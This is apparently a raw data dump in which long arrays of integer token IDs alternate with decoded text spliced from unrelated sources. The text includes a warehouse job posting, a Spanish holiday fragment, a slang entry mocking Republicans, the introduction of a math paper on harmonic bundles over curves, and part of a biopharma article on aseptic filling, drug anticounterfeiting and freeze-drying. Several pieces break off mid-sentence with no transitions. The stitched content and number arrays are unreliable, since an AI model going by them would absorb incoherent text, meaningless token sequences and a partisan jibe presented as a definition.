247, 1980, 985, 370, 45, 1126, 2859, 724, 689, 370, 52, 5, 285, 247, 669, 2859, 2911, 8275, 6410, 23007, 3711, 370, 73, 27, 322, 61, 936, 7335, 9, 79, 13, 393, 1991, 92, 36, 94, 1933, 6971, 9, 79, 1009, 342, 247, 2176, 2714, 3116, 1617, 2822, 253, 11812, 15, 1198, 253, 1246, 1083, 273, 2570, 7877, 337, 13, 436, 310, 18307, 28, 352, 671, 3637, 432, 253, 2087, 906, 273, 1008, 75, 91, 14, 4196, 1092, 923, 671, 253, 7579, 275, 3015, 19, 15, 19, 481, 831, 23007, 3711, 476, 320, 2783, 347, 247, 19423, 34851, 7982, 327, 370, 45, 1126, 2859, 724, 1128, 38474, 7982, 1128, 601, 326, 359, 452, 247, 594, 14, 8890, 23007, 13204, 3019, 45, 1126, 2859, 2023, 288, 1009, 1008, 3549, 14, 2270, 1570, 6102, 247, 13204, 15814, 4722, 5289, 13, 299, 15, 72, 15, 247, 22361, 13204, 2605, 3019, 38, 13, 393, 3124, 4244, 835, 669, 3124, 2029, 3214, 288, 1366, 285, 352, 556, 247, 669, 2808, 2911, 48750, 414, 387, 253, 11812, 15, 187, 187, 510, 4096, 273, 436, 3877, 310, 281, 7409, 2710, 8126, 297, 5970, 273, 669, 4862, 322, 5, 342, 25273, 839, 10303, 370, 45, 1126, 2859, 724, 313, 46779, 347, 247, 1980, 985, 1905, 247, 6507, 4972, 13204, 13, 247, 22361, 13204, 13, 390, 247, 669, 1588, 92, 37, 15728, 8640, 13, 7293, 327, 253, 3634, 2262, 4299, 783, 11437, 223, 5036, 30367, 273, 370, 75, 15570, 45, 1126, 2859, 724, 7444, 313, 9939, 326, 275, 253, 2169, 15759, 1083, 13, 581, 3198, 281, 1908, 253, 3969, 15171, 30367, 1008, 29676, 78, 6660, 4299, 783, 370, 45, 63, 19, 2911, 5905, 26929, 13, 253, 370, 45, 63, 19, 2911, 37, 311, 1257, 1923, 30367, 13, 285, 253, 370, 45, 63, 19, 2911, 34969, 5943, 30367, 13, 285, 253, 7688, 875, 731, 7444, 15, 3856, 13, 370, 45, 63, 19, 5, 310, 2931, 407, 970, 253, 46857, 1490, 3022, 10, 7982, 669, 3151, 5, 285, 253, 23007, 7982, 370, 73, 1352, 844, 971, 281, 39970, 253, 1543, 1008, 91, 1028, 14, 2787, 62, 3588, 323, 253, 1083, 273, 10575, 273, 45746, 5289, 313, 55, 8282, 10, 281, 253, 1083, 273, 23007, 25663, 13, 347, 369, 5125, 407, 29480, 1008, 3549, 14, 2270, 2194, 275, 8063, 13, 275, 1859, 273, 776, 9376, 327, 253, 14237, 275, 1953, 1146, 440, 39490, 13, 253, 4112, 943, 320, 2074, 281, 253, 1083, 273, 657, 8282, 15, 187, 187, 1552, 2929, 310, 5486, 281, 320, 247, 629, 273, 253, 2087, 2086, 273, 12392, 8126, 297, 5970, 342, 25273, 839, 10303, 327, 21582, 39552, 25667, 19112, 285, 616, 611, 41638, 757, 2087, 5904, 15, 380, 2087, 4388, 1060, 310, 417, 11096, 281, 253, 1083, 273, 9191, 4543, 281, 253, 581, 273, 14237, 326, 403, 440, 39490, 2822, 253, 11812, 15, 380, 4096, 273, 436, 3877, 3103, 310, 281, 16023, 4024, 387, 436, 1798, 1083, 835, 1142, 273, 253, 313, 42567, 285, 17856, 10, 12748, 273, 253, 2087, 1083, 403, 417, 1246, 752, 3910, 588, 3176, 672, 359, 1908, 440, 39490, 23007, 25663, 3185, 273, 657, 8282, 84, 28, 323, 253, 1083, 273, 657, 8282, 84, 13, 253, 2710, 8126, 297, 5970, 452, 644, 2783, 407, 2710, 4477, 1008, 6163, 28, 1214, 4213, 28, 1214, 859, 28, 1214, 8202, 18, 62, 285, 403, 973, 7192, 407, 1024, 15, 187, 187, 15, 20, 3591, 20197, 35838, 27, 4622, 831, 789, 369, 13207, 672, 253, 1273, 2488, 369, 13975, 11505, 91, 2499, 13, 285, 697, 2022, 629, 369, 6699, 672, 344, 11791, 387, 253, 7903, 38797, 6516, 323, 22718, 275, 253, 13416, 275, 2070, 47265, 15, 754, 6701, 253, 1840, 31935, 323, 34598, 285, 247, 1175, 2444, 3126, 15, 187, 187, 510, 12087, 2330, 342, 14237, 273, 7936, 2390, 187, 15256, 381, 187, 187, 510, 14717, 273, 247, 6507, 4602, 187, 35349, 187, 187, 688, 1340, 281, 1056, 436, 3877, 271, 10199, 715, 776, 2087, 2086, 13, 359, 6266, 690, 4114, 2144, 1060, 15, 380, 871, 1070, 72, 494, 9414, 778 ]	I due to the experience level. Key Responsibilities and Specific Accountabilities: (results this role is expected to accomplish)Including but not limited to: Cross train in shipping, receiving, and material handling/storage. Reads work order or follows oral instructions to ascertain materials or containers to be moved. Loads and unloads materials onto or from pallets, trays, racks, and shelves by hand. Loads materials into vehicles and installs strapping, bracing, or padding to prevent shifting or damage in transit. Conveys materials from storage or work sites to designated area. Secures lifting attachments to materials and conveys load to destination or signals crane or hoisting operators to move load to destination. Counts, weighs, and records number of units of materials moved or handled on daily production sheet. Attaches identifying tags or labels to materials or marks information on cases, bales, or other containers. Loads truck for Industrial Truck Operator. Stacks or assembles materials into bundles and bands bundles together. Clamps sections of portable conveyor together or places conveyor sections on blocks or boxes to facilitate movement of materials or products. Removes samples of materials, labels with identifying information, and takes samples to laboratory for analysis. Lifts heavy objects by hand or with power hoist, and cleans work area, machines, and equipment to assist machine operators. Makes simple adjustments or repairs such as realigning belts or replacing rollers. Assembles crates to contain products such as machines or vehicles. Shovels loose materials such as sand, gravel, metals, plastics, or chemicals, into machine hoppers or into vehicles and containers such as wheelbarrows, scrap truck, or barrels. Operates industrial truck or electric hoist to assist in loading or moving materials and products. Develops a culture that works to achieve and maintain an accident free workplace. Develops a culture that works to achieve and maintain ongoing housekeeping excellence. Job Knowledge / Education and Qualifications: EDUCATION/EXPERIENCE: High school diploma or general education degree (GED) with a minimum of two years’ related experience and/or training; or equivalent combination of education and experience. LANGUAGE: Ability to read and interpret documents such as safety rules, operating and maintenance instructions, and procedure manuals. Ability to write routine reports and correspondence. Ability to speak effectively before groups of customers or employees of organization. MATHEMATICAL SKILLS: Ability to add, subtract, multiply, and divide in all units of measure, using whole numbers, common fractions, and decimals. Ability to compute rate, ratio, and percent and to draw and interpret bar graphs. REASONING ABILITY: Ability to apply common sense understanding to carry out instructions furnished in written, oral, or diagram form. Ability to deal with problems involving several concrete variables in standardized situations. OTHER SKILLS AND ABILITIES: Must be able to become forklift certified within 30 days. Ability to use identification tools (engraver, metal stamps, paint pen) to mark product. Ability to read and interpret dimensional drawings. PHYSICAL REQUIREMENTS: While performing the duties of this job, the employee is frequently required to stand; walk; use hands to finger, handle, or feel; reach with hands and arms and talk or hear. The employee is occasionally required to sit; climb or balance and stoop, kneel, crouch, or crawl. The employee must occasionally lift and/or move up to 50 pounds. Specific vision abilities required by this job include close vision, distance vision, color vision, peripheral vision, depth perception and ability to adjust focus Must be able to wear protective footwear and other PPE as required by the department. WORK ENVIRONMENT: While performing the duties of this Job, the employee is regularly exposed to fumes or airborne particles. The employee is frequently exposed to moving mechanical parts and outside weather conditions. The employee is occasionally exposed to high, precarious places and vibration. The noise level in the work environment is usually moderate.Como sabemos, estamos en época decembrina donde nace el espíritu y la magia de La Navidad, donde nos regala el mensaje de compartir con nuestros seres queridos, y que nos [...]The period in a male's life, typically between age of 27-39 when he succumbs to republican ideology. Signs of repuberty include listening to talk radio, unprompted remarks about social programs such as welfare, professing a love for rich people and low taxes, ranking of other people's patriotism levels.--- author: - 'Jürgen Jost, Yi-Hu Yang[^1], and Kang Zuo' title: \| Cohomologies of unipotent harmonic bundles over quasi-projective varieties I:\ The case of noncompact curves --- Introduction ============ Let $\overline S$ be a compact Riemann surface (holomorphic curve) of genus $g$. Let $p_1, p_2, \cdots, p_s$ be $s>0$ points on it; these points define a divisor, and we denote the open Riemann surface ${\overline S}\setminus\{p_1, \dots, p_s\}$ by $S$. When $3g-3+s>0$, it carries a complete hyperbolic metric of finite volume, the so-called Poincaré metric; the points $p_1, p_2, \cdots, p_s$ then become cusps at infinity. Even in the remaining cases, that is, for a once or twice punctured sphere, we can equip $S$ with a metric that is hyperbolic in the vicinity of the cusp(s), and for our purposes, the behavior of the metric there is all what counts, and we call such a metric Poincaré-like. In any case, our metric on $S$ is denoted by $\omega$. Denote the inclusion map of $S$ in $\overline S$ by $j$. Let $\rho: \pi_1(S)\to Sl(n, \mathbb{C})$ be a semisimple linear representation of $\pi_1(S)$ which is unipotent near the cusps (for the precise definition, cf. §2.1). Corresponding to such a representation $\rho$, one has a local system $L_{\rho}$ over $S$ and a $\rho$-equivariant harmonic map $h: S\to Sl(n, \mathbb{C})/SU(n)$ with a certain special growth condition near the divisor. For the present case of complex dimension 1, this is elementary; it also follows from the general result of [@jz-96], see also the remark in §2.2). This harmonic map can be considered as a Hermitian metric on $L_{\rho}$—harmonic metric—so that we have a so-called harmonic bundle $(L_{\rho}, h)$ [@sim-90]. Such a bundle carries interesting structures, e.g. a Higgs bundle structure $(E, \theta)$, where $\theta=\partial h$, and it has a $\log$-singularity at the divisor. The purpose of this note is to investigate various cohomologies of $\overline S$ with degenerating coefficients $L_{\rho}$ (considered as a local system — a flat vector bundle, a Higgs bundle, or a $\mathcal{D}$-module, depending on the context): [*the Čech cohomology of $j_L_{\rho}$]{} (note that in the higher dimensional case, one needs to consider the corresponding intersection cohomology [@cgm]), [the $L^2$-cohomology, the $L^2$-Dolbeault cohomology, and the $L^2$-Higgs cohomology, and the relationships between them*]{}. Here, $L^2$ is defined by using the Poincaré(-like) metric $\omega$ and the harmonic metric $h$. We want to generalize the results [@zuc-79] valid for the case of variations of Hodge structures (VHS) to the case of harmonic bundles, as was suggested by Simpson [@sim-90]; in principle, in view of our assumption on the representations in question being unipotent, the situation should be similar to the case of VHS. This paper is meant to be a part of the general program of studying cohomologies with degenerating coefficients on quasiprojective varieties and their Kählerian generalizations. The general aim here is not restricted to the case of curves nor to the one of representations that are unipotent near the divisor. The purpose of this note therefore is to illuminate at this particular case where many of the (analytic and geometric) difficulties of the general case are not present what differences will appear when we consider unipotent harmonic bundles instead of VHSs; for the case of VHSs, the various cohomologies have been considered by various authors [@cks; @lo; @ss; @yan1] and are well understood by now. .3cm[Acknowledgements:*]{} This work was begun when the second author was visiting Mainz University, and its main part was finished when he stayed at the Max Planck Institute for Mathematics in the Sciences in Leipzig. He thanks the above Institutes for hospitality and a good working environment. The geometry associated with representations of fundamental groups ================================================================== The decomposition of a flat connection -------------------------------------- In order to make this note an introduction into our general program, we describe some background material here. The knowledgable reader may
[ 310, 281, 755, 25493, 15, 187, 187, 15542, 2196, 323, 37571, 17969, 497, 8523, 3715, 407, 18228, 323, 41929, 17947, 285, 1996, 8671, 407, 253, 19267, 285, 10236, 17057, 15, 496, 1635, 281, 31079, 272, 285, 643, 7259, 908, 281, 1679, 257, 253, 2442, 323, 5820, 281, 9569, 17969, 13, 6938, 8667, 310, 11719, 2684, 15, 40445, 5216, 6388, 3057, 10855, 285, 1863, 5375, 13, 285, 8091, 33605, 403, 4217, 13225, 15, 308, 5047, 272, 941, 7729, 4413, 7472, 557, 30295, 37469, 285, 3653, 1880, 2176, 39469, 403, 46447, 715, 616, 247, 339, 13683, 5162, 3672, 15, 6365, 20038, 14, 3169, 12277, 313, 10328, 347, 432, 24742, 6943, 862, 285, 657, 614, 76, 10, 285, 730, 19671, 12277, 313, 70, 15, 72, 904, 12761, 22643, 432, 29236, 40073, 10, 1361, 4271, 24920, 839, 39469, 15, 380, 12285, 19901, 717, 2275, 10833, 13042, 366, 313, 45, 1556, 10, 6981, 310, 908, 323, 990, 37084, 5175, 1905, 285, 253, 21172, 556, 3863, 247, 12925, 327, 697, 897, 15, 6037, 13, 23467, 13, 8099, 13, 285, 6500, 9421, 403, 5762, 285, 11719, 22269, 15, 5201, 39367, 1103, 908, 281, 4076, 7826, 25493, 9421, 2486, 7665, 13, 42488, 21295, 13, 285, 355, 16752, 3229, 13, 347, 973, 15401, 14, 249, 14, 5070, 16, 16437, 14, 249, 14, 5070, 313, 52, 3123, 16, 36, 3123, 10, 28275, 323, 294, 34153, 6500, 15, 15023, 13225, 285, 28234, 476, 320, 1125, 15436, 9367, 15, 6676, 4413, 15338, 12478, 6031, 342, 13867, 2272, 15, 1680, 311, 1080, 4302, 556, 644, 1077, 9371, 347, 973, 15, 187, 187, 39965, 874, 11809, 19071, 4076, 12384, 281, 5100, 247, 339, 13683, 3672, 285, 13553, 273, 24077, 13, 2329, 6431, 13, 285, 3473, 1027, 8075, 281, 6558, 247, 4076, 3126, 15, 20672, 14, 15177, 4076, 3672, 313, 41832, 43394, 10, 943, 417, 320, 4845, 1735, 281, 1029, 14, 15177, 3672, 313, 12973, 43394, 481, 27900, 300, 3006, 15116, 4076, 253, 2329, 347, 973, 347, 1885, 26850, 1078, 7522, 285, 8416, 15, 1583, 403, 17618, 342, 5691, 5175, 326, 8687, 1566, 16711, 285, 36306, 15, 11263, 32113, 403, 2684, 970, 253, 1072, 1232, 347, 588, 320, 908, 275, 247, 1524, 1885, 4544, 13, 285, 253, 4795, 17671, 403, 16387, 323, 7871, 273, 20180, 3116, 15, 187, 187, 21784, 76, 3592, 2296, 13, 773, 3074, 11570, 14047, 281, 4901, 253, 247, 339, 13683, 5162, 2316, 1309, 10264, 943, 10078, 275, 247, 3420, 7522, 387, 1878, 2378, 247, 807, 13, 285, 616, 11497, 943, 4887, 253, 6070, 273, 616, 12803, 275, 3275, 1425, 187, 187, 11495, 272, 285, 743, 3028, 13914, 453, 2996, 187, 187, 510, 3819, 1411, 4828, 453, 2996, 8687, 4413, 2080, 4457, 19267, 84, 285, 1794, 4977, 36024, 15, 6676, 3580, 403, 4211, 281, 5061, 316, 808, 272, 11349, 347, 773, 42996, 668, 672, 597, 403, 13, 275, 958, 13, 773, 48459, 745, 84, 668, 390, 4828, 453, 953, 313, 883, 481, 1292, 253, 2854, 4828, 453, 2996, 4491, 37654, 4852, 347, 973, 347, 16256, 15, 380, 19267, 4491, 347, 247, 2644, 556, 644, 6684, 5657, 281, 11757, 2854, 4828, 453, 2996, 15, 6676, 273, 441, 452, 3735, 38123, 8553, 273, 8888, 14, 2621, 6742, 273, 13583, 1885, 6299, 1905, 285, 1014, 15535, 6281, 273, 4828, 44684, 3580, 2403, 616, 1039, 715, 14905, 11214, 447, 15, 38078, 253, 5054, 4322, 22691, 407, 4828, 453, 2996, 310, 253, 21779, 273, 1029, 14, 2877, 1794, 4977, 36024, 2429, 342, 1110, 273, 773, 37347, 668, 19267, 84, 15, 6943, 862, 982, 403, 2761, 1900, 13945, 1349, 445, 45473, 24411, 4948, 323, 534, 247, 2014, 6178, 476, 2105, 2239, 3016, 5, 18, 13, 933, 13, 285, 690, 403, 1014, 625, 8214, 15, 3035, 67, 1661, 1162, 266, 254, 916, 8829, 13, 323, 1650, 313, 8096, 1541, 16, 48680, 6081, 582, 17324, 2105, 12667, 3016, 5, 18, 13, 5388, 16, 7791, 275, 4748, 313, 805, 582, 285, 399, 423, 31997, 457, 84, 4102, 7012, 1294, 1261, 463, 44050, 323, 3563, 14, 13311, 14527, 2923, 310, 7561, 2361, 387, 2239, 5, 2270, 13, 933, 323, 247, 581, 14, 7791, 13, 4471, 47357, 24020, 15, 1893, 627, 310, 10665, 11528, 281, 320, 1160, 949, 6424, 2097, 1905, 285, 3103, 10665, 2495, 2330, 342, 417, 15233, 824, 3580, 1411, 4828, 453, 2996, 187, 187, 510, 26253, 1520, 13126, 24527, 272, 313, 52, 3859, 10, 3389, 310, 247, 1616, 14, 484, 2629, 7012, 407, 4775, 15557, 20400, 313, 2700, 15, 12408, 24, 15, 2061, 582, 253, 4156, 6265, 327, 7465, 323, 734, 2211, 1430, 273, 1786, 1491, 4302, 13, 342, 2758, 432, 625, 685, 7288, 4343, 15, 831, 2629, 369, 8671, 407, 253, 21172, 347, 247, 5122, 323, 46108, 1885, 1491, 313, 1012, 481, 380, 6757, 556, 4232, 697, 1211, 18952, 14, 1615, 14, 13996, 5376, 6477, 323, 42473, 26253, 1520, 13126, 24527, 272, 313, 52, 3859, 10, 23895, 323, 16686, 35211, 8922, 39927, 285, 16686, 5552, 272, 15, 2064, 3389, 41714, 562, 4803, 323, 14631, 47968, 313, 43786, 2534, 14, 3211, 10, 21473, 13, 534, 310, 4451, 417, 760, 281, 1016, 2854, 1511, 13, 533, 671, 281, 1016, 14604, 285, 1016, 2060, 362, 451, 390, 40674, 15, 6295, 4491, 285, 253, 6757, 3524, 824, 6031, 588, 1056, 352, 2834, 281, 7479, 323, 6424, 32447, 281, 5580, 4828, 44684, 14888, 494, 5835, 15, 187, 187, 510, 1982, 21172, 3054, 3909, 313, 805, 2262, 773, 27077, 44684, 9921, 15, 10712, 778, 320, 25493, 390, 3831, 253, 3430, 390, 642, 3939, 24405, 15, 10712, 812, 452, 253, 987, 3939, 24405, 533, 387, 253, 3430, 6178, 1425, 380, 6757, 3936, 512, 5012, 273, 9101, 4828, 453, 953, 10369, 15, 1916, 11757, 436, 6617, 13, 253, 21172, 310, 2444, 342, 643, 2208, 11009, 347, 973, 347, 2758, 273, 253, 3055, 8776, 281, 1361, 4017, 253, 1982, 2854, 6186, 432, 253, 4322, 273, 4828, 453, 953, 15, 496, 4748, 13, 352, 6808, 247, 7482, 12925, 323, 4491, 327, 2854, 37935, 13914, 453, 2996, 1905, 2167, 326, 16633, 12718, 327, 32939, 11966, 4891, 24411, 4948, 15, 733, 5936, 13, 2190, 643, 1841, 13, 773, 2327, 273, 275, 661, 13, 8393, 942, 13, 26791, 13, 285, 643, 3520, 14, 20465, 47811, 313, 5077, 31724, 10, 407, 16596, 281, 1056, 2854, 3580, 625, 2834, 281, 21036, 407, 4828, 44684, 398, 13, 285, 281, 1056, 352, 6927, 281, 4271, 253, 13241, 2715, 273, 253, 2854, 668, 313, 1012, 481, 187, 187, 1989, 752, 670, 7534, 84, 1905, 3580, 326, 1053, 457, 85, 12666, 347, 33048, 16745, 390, 18010, 23368, 390, 8043, 2149, 7946, 26850, 32, 6943, 2689, 1513, 13428, 4413, 1364, 2770, 327, 26441, 21473, 285, 15371, 1838, 10296, 15, 6676, 2579, 11967, 2714, 907, 275, 6153, 21473, 2718, 323, 1349, 445, 45473, 3580, 313, 2887, 253, 773, 11495, 272, 668, 3817, 481, 1244, 3533, 403, 2168, 1146, 2546, 670, 849, 5368, 21473, 6095, 588, 320, 3732, 281, 39809, 15666, 303, 1858, 3580, 15, 187, 187, 40531, 318, 187, 187, 3463, 4499, 342, 2014, 14, 2327, 4302, 13, 7522, 1253, 43020, 369, 271, 2393, 10264, 1232, 281, 2489, 16644, 15, 773, 10342, 273, 253, 2718, 359, 1973, 3063, 2430, 8723, 1966, 5016, 1309, 253, 12868, 1232, 1806, 18624, 348, 457, 84, 11418, 2183, 441, 13, 773, 3113, 253, 6517, 273, 10935, 9305, 4753, 13, 2718, 1818, 1189, 13, 285, 12478, 1425, 20577, 353, 505, 257, 30735, 273, 473, 601, 6943, 2689, 1513, 33367, 753, 326, 773, 1826, 32771, 281, 7522, 1253, 8416, 6500, 452, 16323, 275, 247, 4872, 285, 13439, 5133, 1425, 1457, 6742, 3082, 1905, 824, 347, 638, 14653, 726, 45324, 2581, 685, 362, 8075, 390, 32263, 2651, 432, 534, 726, 45324, 403, 6898, 275, 247, 3382, 4758, 1905, 452, 2436, 15281, 1643, 2544, 275, 12868, 5871, 313, 2887, 253, 773, 7420, 187, 14653, 5619, 45324, 668, 3817, 481, 187, 187, 14364, 6766, 2293, 1703, 322, 18352, 2637, 1410, 27, 9707, 427, 9465, 3915, 13801, 275, 418, 58, 2795, 41, 3077, 18769, 6570, 187, 187, 27524, 15019, 1320, 1905, 21090, 14, 69, 11729, 1905, 310, 12912, 323, 3580, 342, 7882, 3237, 390, 672, 5277, 271, 3242, 24411, 310, 11132, 313, 70, 15, 72, 904, 1077, 1355, 285, 4122, 16761, 12768, 390, 1110, 323, 534, 7880, 12320, 310, 12232, 582, 347, 973, 347, 323, 15991, 326, 403, 7996, 281, 4250, 13, 25672, 13, 285, 16, 263, 7768, 15, 436, 310, 247, 1264, 14, 10539, 1232, 27, 24250, 313, 66, 1885, 13831, 275, 697, 2457, 8781, 347, 1698, 347, 1108, 1549, 11758, 36, 582, 3625, 24396, 313, 5302, 247, 12124, 13, 1824, 285, 16, 263, 7425, 44385, 403, 10375, 432, 253, 15895, 582, 285, 2457, 24396, 13, 534, 11330, 247, 26665, 13, 6474, 13, 285, 6079, 773, 43926, 1425, 436, 476, 1379, 767, 2120, 1897, 7293, 327, 253, 8508, 285, 2854, 14, 7555, 6106, 985, 3206, 15, 187, 187, 31137, 18509, 285, 1029, 14, 26158, 24396, 3082, 13, 12865, 15019, 1320, 24696, 2854, 3580, 432, 1850, 40190, 4269, 407, 4250, 984, 597, 3464, 13831, 4768, 253, 1232, 15, 2726, 1463, 5718, 13, 253, 22826, 1495, 273, 247, 21090, 14, 49461, 1885, 476, 320, 1264, 1107, 1905, 2581, 685, 247, 1643, 1897, 323, 253, 1072, 2854, 275, 5558, 830, 15, 187, 187, 7130, 281, 657, 46467, 1777, 21401, 5625, 38230, 13, 247, 3332, 29770, 41394, 1304, 313, 18948, 4267, 10, 5998, 326, 2716, 273, 253, 14888, 494, 5835, 7012, 689, 253, 1735, 2620, 1107, 588, 2430, 12865, 15019, 1320, 15, 657, 46467, 457, 84, 15040, 3797, 12865, 15019, 1320, 285, 2570, 7534, 7006, 13, 1907, 13207, 21090, 14, 69, 11729, 824, 3580, 275, 13402, 15, 380, 2567, 556, 4102, 5611, 8746, 14, 348, 7272, 4302, 949, 697, 418, 11904, 14, 43, 646, 40674, 285, 657, 14, 45, 44, 28719, 8746, 14, 348, 7272, 2718, 15, 12829, 15019, 1025, 2854, 31951, 275, 581, 9320, 28, 7425, 25568, 275, 253, 643, 15, 367, 7849, 253, 40674, 499, 44078, 47603, 1110, 342, 581, 9980, 15, 329, 2854, 326, 310, 4390, 32487, 275, 362, 8075, 778, 320, 9495, 281, 824, 247, 985, 13, 323, 1650, 281, 1056, 352, 625, 2608, 14, 19771, 347, 629, 273, 247, 5243, 34356, 4323, 2098, 15, 436, 778, 16753, 247, 2900, 323, 690, 8434, 1080, 3580, 10268, 15666, 303, 1858, 7324, 15, 187, 187, 1628, 14067, 690, 2544, 281, 990, 3580, 8549, 281, 11349, 13, 253, 4588, 12868, 1232, 4558, 4942, 19965, 1806, 11418, 2879, 15, 773, 510, 1643, 41655, 326, 452, 644, 3058, 281, 1408, 4460, 5482, 452, 644, 10085, 456, 4942, 4354, 15, 32774, 8746, 14, 348, 7272, 49599, 310, 581, 1650, 15, 831, 1511, 273, 2813, 4428, 767, 4858, 3580, 275, 581, 28719, 13, 824, 347, 767, 4858, 32819, 390, 247, 5558, 285, 247, 12865, 15019, 1025, 1885, 1425, 187, 187, 1231, 2546, 43230, 1880, 344, 11121, 15688, 982, 285, 643, 29885, 588, 8171, 1966, 9158, 15, 1737, 3470, 588, 3464, 275, 1966, 3564, 323, 253, 673, 1146, 13, 285, 752, 3733, 3374, 452, 45764, 281, 2525, 1110, 3198, 32, 773, 40531, 318, 310, 10112, 1806, 344, 10017, 15, 773, 42317, 595, 13, 12165, 285, 10166, 9158, 943, 1453, 347, 973, 347, 5724, 16644, 6500, 5871, 1905, 347, 973, 347, 3997, 285, 5386, 4295, 432, 253, 1386, 16, 2655, 5805, 15, 24689, 456, 6500, 588, 2430, 247, 2169, 1268, 273, 4685, 285, 5956, 1268, 342, 271, 5673, 685, 8651, 13, 3564, 14, 251, 23927, 1425, 187, 187, 1992, 253, 1072, 1953, 13, 353, 505, 257, 30735, 20503, 13, 773, 40531, 318, 556, 574, 247, 2201, 1055, 275, 8493, 253, 1180, 273, 1966, 9158, 689, 253, 2469, 1884, 1107, 15, 329, 7522, 1253, 43020, 1386, 12422, 247, 12865, 15019, 6081, 778, 452, 574, 4314, 281, 884, 1966, 9158, 1884, 1107, 3622, 15, 1457, 254, 6500, 326, 3936, 5750, 273, 4980, 16424, 275, 4302, 778, 897, 760, 767, 390, 1264, 1966, 9158, 15, 3808, 28648, 3104, 897, 760, 581, 1966, 5572, 15, 1723, 13, 347, 1175, 347, 4980, 29885, 310, 13, 627, 588, 4035, 281, 320, 253, 878, 323, 1966, 7268, 342, 1675, 281, 1895, 6064, 285, 9363, 273, 253, 6500, 1425, 187, 187, 1231, 671, 2546, 752, 747, 3374, 403, 14475, 347, 13, 323, 1650, 13, 15688, 982, 403, 908, 281, 773, 4534, 1230, 668, 16030, 2457, 3580, 15, 43230, 10974, 27, 773, 2302, 1953, 326, 16644, 15981, 3400, 247, 625, 10237, 285, 5185, 15981, 323, 512, 2854, 1885, 7071, 6866, 15, 309, 651, 1902, 326, 347, 8781, 15029, 285, 4753, 23554, 432, 5899, 5253, 13, 10885, 6297 ]	is to get contaminated. Standards for particulate contamination were initially developed by NASA for lunar exploration and later adopted by the pharmaceutical and semiconductor industries. In addition to gowning and other procedures used to lessen the potential for workers to introduce contamination, environmental monitoring is regularly performed. Typical tests involve contact plates and swabs, and particle counters are useful instruments. Trending data helps companies evaluate disinfection efficiencies and determine whether certain microbes are migrating into their aseptic processing areas. Metabolic-based assays (such as from vendors Biolog and Vitek) and genotypic assays (e.g., MicroSeq from Applied Biosystems) help identify contaminating microbes. The Limulus amebocyte lysate (LAL) assay is used for endotoxin testing — and the FDA has published a guidance on its use. Air, floors, walls, and equipment surfaces are tested and regularly cleaned. Disinfectants used to clean potentially contaminated surfaces include alcohol, chlorine dioxide, and aldehydes, as well steam-in-place/clean-in-place (SIP/CIP) utilities for reusable equipment. Small instruments and accessories can be autoclaved. Many companies minimize cleaning efforts with disposables. Isolator technology has been very helpful as well. Facility designs incorporate cleanrooms to establish aseptic areas and combinations of filtration, air exchange, and pressure differentials to maintain a clean environment. Lower-quality clean areas (higher classifications) should not be placed next to high-quality areas (lower classifications). Sterilizing filters clean the air as well as product formulations before fill and finish. They are validated with challenge testing that involves model organisms and contaminants. Media fills are performed using the same process as will be used in a real product campaign, and the resulting containers are monitored for signs of microbial growth. Burkett says, “All personnel authorized to enter the aseptic processing room during manufacturing should participate in a media fill at least once a year, and their participation should reflect the extent of their duties in production.” Labeling and Anticounterfeiting The fight against counterfeiting involves companies far beyond pharmaceuticals and biotherapeutics. Many products are sold to unsuspecting consumers as “authentic” when they are, in fact, “knock offs” or counterfeits (11). But the drug counterfeiting industry threatens lives as well as profits. The pharmaceutical industry as a whole has been developing tools to combat drug counterfeiting. Many of us have heard frightening accounts of mail-order delivery of incorrect product concentrations — and even horror stories of counterfeit products making their way into legitimate pharmacies. Increasing the economic threat posed by counterfeiting is the attraction of high-value biotherapeutics compared with those of “classical” pharmaceuticals. Biologics are almost always injected parenteral dosage forms for which a single dose can cost >US$1,000, and some are even more expensive. Enbrel etanercept injection, for example (Amgen/Pfizer), reportedly cost ≥US$1,500/month in 2009 (12), and Dendreon’s recently approved Provenge immunotherapy for late-stage prostate cancer is widely reported at >$90,000 for a one-month, multiinjection regimen. So there is considerable profit to be made through criminal means — and therefore considerable risk associated with not protecting such products against counterfeiting The Structured Product Labeling (SPL) document is a mark-up standard approved by Health Level Seven (www.hl7.org), the global authority on standards for interoperability of health information technology, with members from more than 55 countries. This standard was adopted by the FDA as a mechanism for exchanging product information (13). The agency has established its own Step-by-Step Instructions for Creating Structured Product Labeling (SPL) Files for Drug Establishment Registration and Drug Listing. That document lays out rules for establishing computerized (generally bar-code) labeling, which is unique not only to each drug type, but also to each batch and each individual vial or syringe. Both industry and the agency hope such efforts will make it difficult to impossible for criminal enterprises to sell counterfeit injectable drugs. The US FDA states online (12): “Counterfeit medicine... may be contaminated or contain the wrong or no active ingredient... could have the right active ingredient but at the wrong dose.” The agency takes all reports of suspect counterfeits seriously. To combat this crime, the FDA is working with other government agencies as well as members of the private sector to help protect the US drug supply from the threat of counterfeits. In 2009, it issued a draft guidance for industry on drug anticounterfeiting — though that focuses solely on orally administered solid dosage forms. It suggests, among other things, “use of inks, pigments, flavors, and other physical-chemical identifiers (PCIDs) by manufacturers to make drug products more difficult to duplicate by counterfeiters, and to make it easier to identify the genuine version of the drug” (13). But what about biologicals — products that don’t arrive as distinctly shaped or colored tablets or flavored oral formulations? Biopharmaceutical companies must focus on advancing labeling and RFID technologies. Many service providers specialize in creating labeling systems for parenteral products (see the “Labeling” box). And questions are already being asked about how existing labeling requirements will be applied to marketed biosimilar products. Automation By contrast with single-use technology, fill–finish was an early manufacturing process to become automated. “Most of the systems we build today require minimal human interaction during the filling process,” Bosch’s Miller told us, “with the exception of loading raw materials, systems changeover, and cleaning.” Craig Mastenbaum of Oso Biopharmaceuticals said that “new innovations to fill– finish equipment have evolved in a linear and progressive manner.” New delivery methods — such as prefilled syringes rather than vials or ampules from which syringes are filled in a clinical setting — have necessitated few changes in filling operations (see the “Pre filled Syringes” box). PREFILLED SYRINGES:THE NEXT STEP in LYOPHILIZATION Lyophilization — freeze-drying — is beneficial for products with stability problems or when providing an exact dosage is challenging (e.g., very small and highly concentrated doses or those for which absolute precision is vital), as well as for substances that are sensitive to heat, humidity, and/or oxygen. this is a three-step process: freezing (a product frozen in its final container as low as –60 °C), primary drying (using a vacuum, water and/or diluents are extracted from the formulation), and final drying, which produces a porous, stable, and dry “cake.” this can take two full days depending on the compound and drug-delivery system involved. Unlike ambient and high-temperature drying methods, lyophilization protects drug products from denaturation caused by heat because they remain frozen throughout the process. With proper storage, the shelf life of a freeze-dried product can be three years — rather than a few days for the same drug in liquid form. According to Vetter Pharma International GmbH, a recent Visiongain report (June 2010) estimated that half of the injectable drugs approved over the next five years will require lyophilization. Vetter’s expertise includes lyophilization and 